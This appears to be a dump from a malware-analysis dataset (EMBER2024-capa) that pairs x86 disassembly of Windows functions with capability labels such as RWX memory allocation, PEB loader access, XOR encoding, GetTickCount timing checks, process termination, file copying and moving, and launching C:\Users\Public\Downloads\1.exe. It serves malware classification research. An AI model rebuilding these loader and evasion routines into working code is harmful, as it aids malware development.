joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43e6a634
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov edx, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
lea esi, [ebp - 0x10]
lea edi, [ebp - 0xc]
mov eax, dword fs:[0x30]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x43e6a6b7
mov eax, dword [ebp - 4]
add eax, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x43e6a6b7
lea eax, [edx + 0x3c]
movzx eax, word [eax]
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov dword [edi], eax
mov eax, dword [edi]
mov dword [esi], eax
cmp dword [esi], 0
je 0x43e6a6b7
mov eax, dword [esi]
cmp ebx, dword [eax + 0x18]
jne 0x43e6a6aa
mov eax, dword [esi]
mov dword [eax + 0x18], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x50]
mov ecx, dword [esi]
mov dword [ecx + 0x20], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x28]
add eax, edx
mov ecx, dword [esi]
mov dword [ecx + 0x1c], eax
mov eax, dword [edi]
mov eax, dword [eax]
mov dword [edi], eax
mov eax, dword [ebp - 8]
cmp eax, dword [edi]
jne 0x43e6a67d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x43e6a938
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
xor esi, esi
test ebx, ebx
je 0x43e6aa41
mov eax, ebx
call fcn.43e6ab00
test al, al
je 0x43e6a96a
mov edx, dword [ebp + 0xc]
mov eax, ebx
call fcn.43e6a484
mov esi, eax
jmp 0x43e6aa41
mov eax, ebx
call fcn.43e6ab24
test al, al
je 0x43e6aa41
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov edi, dword [eax + 0x50]
cmp dword [ebp + 0xc], 0
je 0x43e6a9b8
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 0x40
push edi
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x43e6aa41
jmp 0x43e6a9e4
push 0x40
push 0x3000
push edi
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x43e6a9e4
push 0x40
push 0x3000
push edi
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x43e6aa41
mov eax, dword [ebp - 4]
add eax, 0xf8
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx esi, word [eax + 6]
mov ecx, dword [ebp - 8]
sub ecx, ebx
mov eax, esi
shl eax, 3
lea eax, [eax + eax*4]
add ecx, eax
mov edx, ebx
mov eax, dword [ebp - 0xc]
call fcn.43e541c8
dec esi
test esi, esi
jl 0x43e6aa3e
inc esi
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 8]
mov edx, dword [eax + 0x14]
add edx, ebx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0xc]
call fcn.43e541c8
add dword [ebp - 8], 0x28
dec esi
jne 0x43e6aa1b
mov esi, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x43e6aa60
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov ebp, eax
mov eax, edi
call fcn.43e527c4
mov dword [esp], eax
test edi, edi
je 0x43e6aaac
test ebp, ebp
je 0x43e6aaac
mov esi, edi
dec esi
test esi, esi
jb 0x43e6aaac
inc esi
xor ebx, ebx
push 0x43e6aab8
call sub.kernel32.dll_GetModuleHandleA
inc eax
mov al, byte [eax]
sub al, 0x53
imul bl
add al, 0xda
mov edx, edi
dec edx
add edx, ebp
sub edx, ebx
xor al, byte [edx]
mov edx, dword [esp]
add edx, ebx
mov byte [edx], al
inc ebx
dec esi
jne 0x43e6aa85
mov eax, dword [esp]
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x43e6b838
Capabilities:
Terminate process

Disassembly:
push ebx
push ecx
mov ebx, eax
test ebx, ebx
jne 0x43e6b846
mov byte [esp], 1
jmp 0x43e6b879
mov byte [esp], 0
call fcn.43e687a0
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x43e6b873
push 0
push ebx
call sub.kernel32.dll_TerminateProcess
cmp eax, 1
sbb eax, eax
inc eax
mov byte [esp], al
push ebx
call sub.kernel32.dll_CloseHandle
mov al, byte [esp]
pop edx
pop ebx
ret
Function at 0x43e6b880
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
xor edx, edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], edx
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.43e539b0
xor eax, eax
push ebp
push 0x43e6ba6d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.43e68c18
lea edx, [ebp - 0x34]
mov eax, dword [ebp - 0x10]
call fcn.43e68c84
mov eax, dword [ebp - 0x34]
mov edx, 0x43e6ba84
call fcn.43e5390c
je 0x43e6b910
lea edx, [ebp - 0x38]
mov eax, dword [ebp - 0x10]
call fcn.43e68c84
mov eax, dword [ebp - 0x38]
mov edx, 0x43e6ba98
call fcn.43e5390c
je 0x43e6b910
mov eax, dword [ebp - 0x10]
call fcn.43e537c0
test eax, eax
jne 0x43e6b94d
push 0x43e6baac
lea edx, [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.43e6b640
mov eax, dword [ebp - 0x44]
lea edx, [ebp - 0x40]
call fcn.43e68b4c
mov eax, dword [ebp - 0x40]
lea edx, [ebp - 0x3c]
call fcn.43e68abc
push dword [ebp - 0x3c]
push 0x43e6bac0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.43e53880
jmp 0x43e6b972
push 0x43e6baac
lea edx, [ebp - 0x48]
mov eax, dword [ebp - 0x10]
call fcn.43e68abc
push dword [ebp - 0x48]
push 0x43e6bac0
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.43e53880
push 1
lea eax, [ebp - 0x24]
push eax
call sub.advapi32.dll_InitializeSecurityDescriptor
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x24]
push eax
call sub.advapi32.dll_SetSecurityDescriptorDacl
mov dword [ebp - 0x30], 0xc
lea eax, [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0xffffffff
mov eax, dword [ebp - 0xc]
call fcn.43e539c0
push eax
push 0x4021c
push 0
push 4
lea eax, [ebp - 0x30]
push eax
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
test ebx, ebx
jne 0x43e6ba0e
lea eax, [ebp - 0x4c]
mov ecx, 0x43e6bacc
mov edx, dword [ebp - 0xc]
call fcn.43e5380c
mov eax, dword [ebp - 0x4c]
call fcn.43e691c0
lea eax, [ebp - 0xc]
push eax
mov ecx, 0x7fffffff
mov edx, 8
mov eax, dword [ebp - 0xc]
call fcn.43e53a18
mov eax, dword [ebp - 0xc]
call fcn.43e539c0
push eax
push 0x4021c
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
push 0
push 0
push 0
push 6
push ebx
call sub.kernel32.dll_MapViewOfFile
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x43e6ba3d
lea eax, [ebp - 0x50]
mov ecx, 0x43e6bacc
mov edx, dword [ebp - 0xc]
call fcn.43e5380c
mov eax, dword [ebp - 0x50]
call fcn.43e691c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6ba74
lea eax, [ebp - 0x50]
mov edx, 8
call fcn.43e53660
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.43e53660
lea eax, [ebp - 4]
call fcn.43e5363c
ret
Function at 0x43e6bc20
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
add eax, 8
call fcn.43e689f0
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
add eax, 4
push eax
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x10]
push eax
call sub.kernel32.dll_GetFileSize
mov edx, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
mov ecx, dword [ebp - 4]
call fcn.43e68e88
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
add ebx, 4
mov eax, dword [ebp + 8]
sub ebx, dword [eax - 0xc]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x14]
mov edx, ebx
call fcn.43e69cf4
mov edx, dword [ebp + 8]
mov dword [edx - 4], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
sub eax, dword [edx + 0x14]
mov edx, dword [ebp + 8]
mov dword [edx - 0x18], eax
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret
Function at 0x43e6cec8
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.43e539b0
xor eax, eax
push ebp
push 0x43e6cfc7
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
cmp bl, 1
jne 0x43e6cf50
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
call fcn.43e68bc8
lea eax, [ebp - 0x10]
mov edx, 0x43e6cfe0
call fcn.43e537c8
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 0xc]
call fcn.43e68b4c
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov edx, dword [0x43e729d4]
call fcn.43e5380c
push 0
mov eax, dword [ebp - 8]
call fcn.43e539c0
push eax
mov eax, dword [ebp - 4]
call fcn.43e539c0
push eax
call sub.kernel32.dll_CopyFileA
xor edx, edx
mov eax, dword [ebp - 8]
call fcn.43e69928
mov esi, eax
cmp bl, 2
jne 0x43e6cfac
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.43e68bc8
lea eax, [ebp - 0x18]
mov edx, 0x43e6cff0
call fcn.43e537c8
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.43e68b4c
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 8]
mov edx, dword [0x43e729d4]
call fcn.43e5380c
push 0
mov eax, dword [ebp - 8]
call fcn.43e539c0
mov ebx, eax
push ebx
mov eax, dword [ebp - 4]
call fcn.43e539c0
push eax
call sub.kernel32.dll_CopyFileA
push ebx
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6cfce
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.43e53660
ret
Function at 0x43e6e5d8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
xor eax, eax
push ebp
push 0x43e6e77d
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x43e6e790
mov eax, 0x80000002
call fcn.43e672d4
test al, al
jne 0x43e6e762
cmp dword [0x43e729ec], 0
je 0x43e6e762
cmp byte [0x43e711e0], 6
jae 0x43e6e762
call sub.kernel32.dll_GetTickCount_1
cmp eax, 0x493e0
jb 0x43e6e762
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x43e729ec]
sub eax, dword [edx + 0x208]
cmp eax, 0xea60
jl 0x43e6e762
inc byte [0x43e711e0]
cmp byte [0x43e711e0], 6
jne 0x43e6e6af
lea edx, [ebp - 4]
mov eax, 0x43e6e7d0
call fcn.43e6837c
lea eax, [ebp - 4]
mov edx, 0x43e6e7e8
call fcn.43e537c8
mov eax, dword [ebp - 4]
push eax
call fcn.43e6fa7c
test al, al
jne 0x43e6e762
mov eax, 0x43e6e810
call fcn.43e68144
test al, al
je 0x43e6e69a
call fcn.43e6c7dc
push 0x43e6e818
mov eax, dword [0x43e729e4]
add eax, 0x20c
push eax
call sub.kernel32.dll_lstrcpyA
push 0x43e6e824
push dword [0x43e729bc]
push 0x43e6e830
push dword [0x43e729c0]
push 0x43e6e83c
push 0x43e6e848
push 0x43e6e854
push 0x43e6e860
mov eax, 0x43e729d0
mov edx, 8
call fcn.43e53880
push dword [0x43e729d0]
push 0x43e6e86c
lea edx, [ebp - 0xc]
xor eax, eax
mov al, byte [0x43e711e0]
call fcn.43e68a34
push dword [ebp - 0xc]
push 0x43e6e888
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x43e729ec]
sub eax, dword [edx + 0x208]
mov ecx, 0x3e8
xor edx, edx
div ecx
lea edx, [ebp - 0x10]
call fcn.43e68a34
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 5
call fcn.43e53880
mov eax, dword [ebp - 8]
call fcn.43e691c0
lea edx, [ebp - 0x14]
mov eax, 0x43e6e898
call fcn.43e68f10
mov eax, dword [ebp - 0x14]
push eax
call fcn.43e6fa7c
mov eax, dword [0x43e712ec]
mov byte [eax], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6e784
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.43e53660
ret
Function at 0x43e6e8a4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
xor eax, eax
push ebp
push 0x43e6ea08
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x43e6ea1c
call fcn.43e68144
test al, al
jne 0x43e6e9ed
mov edx, 0x43e6ea30
mov eax, 0x80000002
call fcn.43e672d4
test al, al
jne 0x43e6e9ed
cmp dword [0x43e729e8], 0
je 0x43e6e9ed
cmp byte [0x43e711d8], 6
ja 0x43e6e9ed
cmp byte [0x43e711d8], 6
jne 0x43e6e91c
push 0x43e6ea68
mov eax, dword [0x43e729e4]
add eax, 0x20c
push eax
call sub.kernel32.dll_lstrcpyA
call sub.kernel32.dll_GetTickCount_1
cmp eax, 0x493e0
jb 0x43e6e9ed
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x43e729e8]
sub eax, dword [edx + 0x208]
cmp eax, 0xea60
jl 0x43e6e9ed
call fcn.43e6e5d8
inc byte [0x43e711d8]
push 0x43e6ea74
push dword [0x43e729bc]
push 0x43e6ea80
push dword [0x43e729c0]
push 0x43e6ea8c
push 0x43e6ea98
push 0x43e6eaa4
push 0x43e6eab0
mov eax, 0x43e729d0
mov edx, 8
call fcn.43e53880
push dword [0x43e729d0]
push 0x43e6eabc
lea edx, [ebp - 8]
xor eax, eax
mov al, byte [0x43e711d8]
call fcn.43e68a34
push dword [ebp - 8]
push 0x43e6ead8
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x43e729e8]
sub eax, dword [edx + 0x208]
mov ecx, 0x3e8
xor edx, edx
div ecx
lea edx, [ebp - 0xc]
call fcn.43e68a34
push dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 5
call fcn.43e53880
mov eax, dword [ebp - 4]
call fcn.43e691c0
call fcn.43e6e088
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6ea0f
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.43e53660
ret

Function at 0x43e6ed28
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x43e6edcd
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x43e6ed49
push 0x493e0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount_1
cmp eax, 0x493e0
jb 0x43e6ed3f
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x43e729e4]
sub eax, dword [edx + 0x208]
cmp eax, 0x493e0
jl 0x43e6ed3f
push dword [0x43e729d0]
push 0x43e6ede0
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0x43e729e4]
sub eax, dword [edx + 0x208]
mov ecx, 0x3e8
xor edx, edx
div ecx
lea edx, [ebp - 8]
call fcn.43e68a34
push dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 3
call fcn.43e53880
mov eax, dword [ebp - 4]
call fcn.43e691c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6edd4
lea eax, [ebp - 8]
mov edx, 2
call fcn.43e53660
ret
Function at 0x43e6edec
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov eax, dword [ebp + 8]
call fcn.43e539b0
mov eax, dword [ebp + 0xc]
call fcn.43e539b0
xor eax, eax
push ebp
push 0x43e6ee84
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
lea ecx, [ebp - 4]
mov edx, 0x43e6ee9c
mov eax, 0x80000002
call fcn.43e67230
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.43e680c0
test al, al
je 0x43e6ee42
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
call fcn.43e680c0
test al, al
jne 0x43e6ee61
push 5
mov eax, dword [ebp + 0xc]
call fcn.43e539c0
push eax
mov eax, dword [ebp + 8]
call fcn.43e539c0
push eax
call sub.kernel32.dll_MoveFileExA
cmp eax, 1
sbb ebx, ebx
inc ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6ee8b
lea eax, [ebp - 4]
call fcn.43e5363c
lea eax, [ebp + 8]
mov edx, 2
call fcn.43e53660
ret
Function at 0x43e6eeec
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x43e6eef4
push ecx
xor eax, eax
push ebp
push 0x43e6f139
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0xc]
mov edx, 0x43e6f14c
mov eax, 0x80000002
call fcn.43e6775c
lea eax, [ebp - 0xc]
mov edx, 0x43e6f184
call fcn.43e537c8
jmp 0x43e6efe9
lea eax, [ebp - 0x10]
push eax
mov eax, 0x43e6f184
mov edx, dword [ebp - 0xc]
call fcn.43e53a58
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.43e53a18
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
call fcn.43e537c0
mov edx, eax
add edx, 3
mov ecx, 0x7fffffff
mov eax, dword [ebp - 0xc]
call fcn.43e53a18
lea eax, [ebp - 0x14]
mov ecx, dword [ebp - 0x10]
mov edx, 0x43e6f190
call fcn.43e5380c
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 8]
mov eax, 0x80000002
call fcn.43e6718c
lea eax, [ebp - 4]
push eax
mov ecx, 2
mov edx, 0x43e6f1cc
mov eax, dword [ebp - 8]
call fcn.43e692a0
lea eax, [ebp - 0x18]
push eax
mov ecx, 1
mov edx, 0x43e6f1cc
mov eax, dword [ebp - 8]
call fcn.43e692a0
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 8]
call fcn.43e536d4
mov eax, dword [ebp - 4]
call fcn.43e68d54
test al, al
je 0x43e6efe9
mov eax, dword [ebp - 8]
call fcn.43e68d54
test al, al
jne 0x43e6efe9
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.43e6edec
mov eax, dword [ebp - 0xc]
call fcn.43e537c0
test eax, eax
jg 0x43e6ef2e
mov eax, 0x43e6f1d8
call fcn.43e68144
test al, al
je 0x43e6f11e
lea edx, [ebp - 4]
mov eax, dword [0x43e729c4]
call fcn.43e6bae0
mov eax, dword [ebp - 4]
call fcn.43e6873c
push 9
mov eax, dword [ebp - 4]
call fcn.43e539c0
push eax
mov eax, dword [0x43e729c4]
call fcn.43e539c0
push eax
call sub.kernel32.dll_MoveFileExA
mov eax, dword [0x43e729c4]
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.43e6edec
mov eax, 0x43e6f1d8
call fcn.43e68144
test al, al
je 0x43e6f09d
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.43e6c674
lea eax, [ebp - 0x1c]
mov edx, 0x43e6f1ec
call fcn.43e537c8
mov eax, dword [ebp - 0x1c]
call fcn.43e539c0
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.43e6c674
lea eax, [ebp - 0x20]
mov edx, 0x43e6f200
call fcn.43e537c8
mov eax, dword [ebp - 0x20]
call fcn.43e539c0
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x24]
mov ecx, dword [0x43e729bc]
mov edx, 0x43e6f190
call fcn.43e5380c
mov edx, dword [ebp - 0x24]
lea ecx, [ebp - 8]
mov eax, 0x80000002
call fcn.43e6718c
mov edx, dword [ebp - 8]
mov eax, dword [0x43e729c4]
call fcn.43e680c0
test al, al
jne 0x43e6f111
push dword [0x43e729c4]
push 0x43e6f1cc
push dword [ebp - 4]
lea eax, [ebp - 0x28]
mov edx, 3
call fcn.43e53880
mov eax, dword [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
mov ecx, dword [0x43e729bc]
mov edx, 0x43e6f190
call fcn.43e5380c
mov edx, dword [ebp - 0x2c]
mov eax, 0x80000002
pop ecx
call fcn.43e66edc
mov eax, 0x43e729c4
mov edx, dword [ebp - 4]
call fcn.43e53690
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6f140
lea eax, [ebp - 0x2c]
mov edx, 0xb
call fcn.43e53660
ret
Function at 0x43e6fa7c
Capabilities:
Accept command line arguments
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x43e6fa84
push ecx
push ebx
push esi
mov eax, dword [ebp + 8]
call fcn.43e539b0
xor eax, eax
push ebp
push 0x43e6fcc4
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
lea edx, [ebp - 0x18]
mov eax, dword [ebp + 8]
call fcn.43e68bc8
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.43e68b4c
mov eax, dword [ebp - 0x14]
call fcn.43e68144
test al, al
jne 0x43e6fca1
mov eax, dword [ebp + 8]
call fcn.43e6b880
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x43e6fca1
lea eax, [ebp - 0x10]
mov ecx, 0x43e6fce0
mov edx, dword [0x43e729d4]
call fcn.43e5380c
mov eax, 0x43e6fcf4
call fcn.43e68144
test al, al
jne 0x43e6fb22
call sub.kernel32.dll_GetCommandLineA_1
mov edx, eax
lea eax, [ebp - 0x1c]
call fcn.43e5376c
mov edx, dword [ebp - 0x1c]
mov eax, 0x43e6fd08
call fcn.43e680c0
test al, al
je 0x43e6fb46
mov edx, dword [ebp - 0x10]
mov eax, dword [0x43e729e0]
call fcn.43e6f884
test al, al
jne 0x43e6fb46
mov ecx, dword [ebp - 0x10]
mov edx, dword [0x43e729dc]
mov eax, dword [0x43e729e0]
call fcn.43e69438
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x204]
test esi, esi
je 0x43e6fb96
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x24]
call fcn.43e696e4
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov edx, 0x43e6fd1c
call fcn.43e5380c
mov eax, dword [ebp - 0x20]
call fcn.43e69ab8
test al, al
je 0x43e6fb96
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [ebp - 4]
sub eax, dword [edx + 0x208]
cmp eax, 0xea60
jl 0x43e6fca1
call sub.kernel32.dll_GetCommandLineA_1
mov edx, eax
lea eax, [ebp - 0x28]
call fcn.43e5376c
mov edx, dword [ebp - 0x28]
mov eax, 0x43e6fd08
call fcn.43e680c0
test al, al
jne 0x43e6fbbf
cmp byte [0x43e711c8], 0
je 0x43e6fbc9
mov eax, dword [0x43e712ec]
mov byte [eax], 1
jmp 0x43e6fbd1
mov eax, dword [0x43e712ec]
mov byte [eax], 0
mov edx, 0x4021c
mov eax, dword [0x43e729ec]
call fcn.43e541d0
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [ebp - 4]
mov dword [edx + 0x208], eax
push 0x43e6fd2c
mov eax, dword [0x43e729e0]
push eax
push dword [ebp + 8]
push 0x43e6fd40
push dword [0x43e729bc]
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.43e53880
mov eax, dword [ebp - 0x2c]
call fcn.43e539c0
push eax
call fcn.43e6b3f4
mov dword [ebp - 8], eax
push ebp
call fcn.43e6f904
pop ecx
mov ebx, eax
test bl, bl
je 0x43e6fc3b
cmp byte [0x43e711c8], 0
je 0x43e6fca1
push dword [0x43e729d0]
push 0x43e6fd50
push dword [ebp - 0x10]
lea eax, [ebp - 0x30]
mov edx, 3
call fcn.43e53880
mov eax, dword [ebp - 0x30]
call fcn.43e691c0
push 0x43e6fd64
mov eax, dword [ebp - 0x10]
call fcn.43e539c0
push eax
push dword [ebp + 8]
push 0x43e6fd40
push dword [0x43e729bc]
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.43e53880
mov eax, dword [ebp - 0x34]
call fcn.43e539c0
push eax
call fcn.43e6b4d0
mov dword [ebp - 8], eax
push ebp
call fcn.43e6f904
pop ecx
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43e6fccb
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.43e53660
lea eax, [ebp + 8]
call fcn.43e5363c
ret
Function at 0x10001000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
je 0x1000101a
jmp 0x100010b6
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.100024d0
add esp, 0xc
mov dword [ebp - 0x60], 0x44
push 0x10
push 0
lea eax, [ebp - 0x1c]
push eax
call fcn.100024d0
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push str.C:UsersPublicDownloads1.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100010a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push str.CreateProcess_failed_with_error__d
lea eax, [ebp - 0x260]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0x1002e1f8
lea eax, [ebp - 0x260]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x100010b6
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
leave
ret 0xc

Function at 0x100035f0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call fcn.100031d0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000361c
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
call dword [0x1002e128]
call dword [ebp - 8]
jmp 0x10003626
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esp, ebp
pop ebp
ret